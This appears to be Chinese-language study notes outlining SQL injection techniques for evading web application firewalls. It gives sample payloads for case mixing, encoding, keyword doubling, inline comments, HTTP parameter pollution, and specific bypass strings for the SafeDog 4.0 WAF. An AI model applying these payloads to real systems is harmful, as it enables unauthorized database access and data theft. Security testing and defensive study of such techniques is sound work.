4.SQL注入

有一些WAF规则设计的问题，只匹配纯大写或纯小写的字符，对字符大小混写直接无视、针对WAF过滤的字符编码，如使用URL编码，unicode编码，十六进制编码，Hex编码等

SQL注入之WAF绕过

• 数据
  • 大小写
    • 有一些WAF规则设计的问题，只匹配纯大写或纯小写的字符，对字符大小混写直接无视
    • 举例：union select ---> UnIon SeLEcT
  • 加密解密
    • 加密一般采用base64
  • 编码解码
    • 针对WAF过滤的字符编码，如使用URL编码，unicode编码，十六进制编码，Hex编码等
    • 举例：union select 1,2,3# ---> union%0aselect 1\u002c2,3%23 %0a：URL编码换行 \u002c：unicode编码,
  • 双写绕过
    • 用来绕过一些敏感字
    • 举例：UNiunionON，SELselectECT，anandd
  • 换行(\n)绕过
    • 举例：select * from admin where username = \N union select 1,user() from admin 换行：也可用URL编码%a0
  • 注释符内联注释
    • union selecte =/*!union*/ select 注释符里感叹号后面的内容会被mysql执行。
  • 同义词替换
    • and=&& or=|| =(等于号)=<、> 空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等 注：%0a是换行也可以替代空格
  • HTTP参数污染
    • 对目标发送多个参数，如果目标没有多参数进行多次过滤，那么WAF对多个参数只会识别其中的一个。 举例：?id=1&id=2&id=3 ?id=1/**&id=-1%20union%20select%201,2,3%23*/
  • 等价函数
  • 特殊符号
  • 反序列化
  • 注释符混用
• 方式
  • 更改提交方式
  • 变异
• 其他
  • Fuzz大法
  • 数据库特性
  • 垃圾数据溢出
• 安全狗4.0绕过
  • and or绕过： %20/*//--/*/ V4.0
  • 联合绕过： union/*//--/*/ /*!--+/*%0aselect/*!1,2,3*/ --+
  • from绕过： /*!06447%23%0afrom*/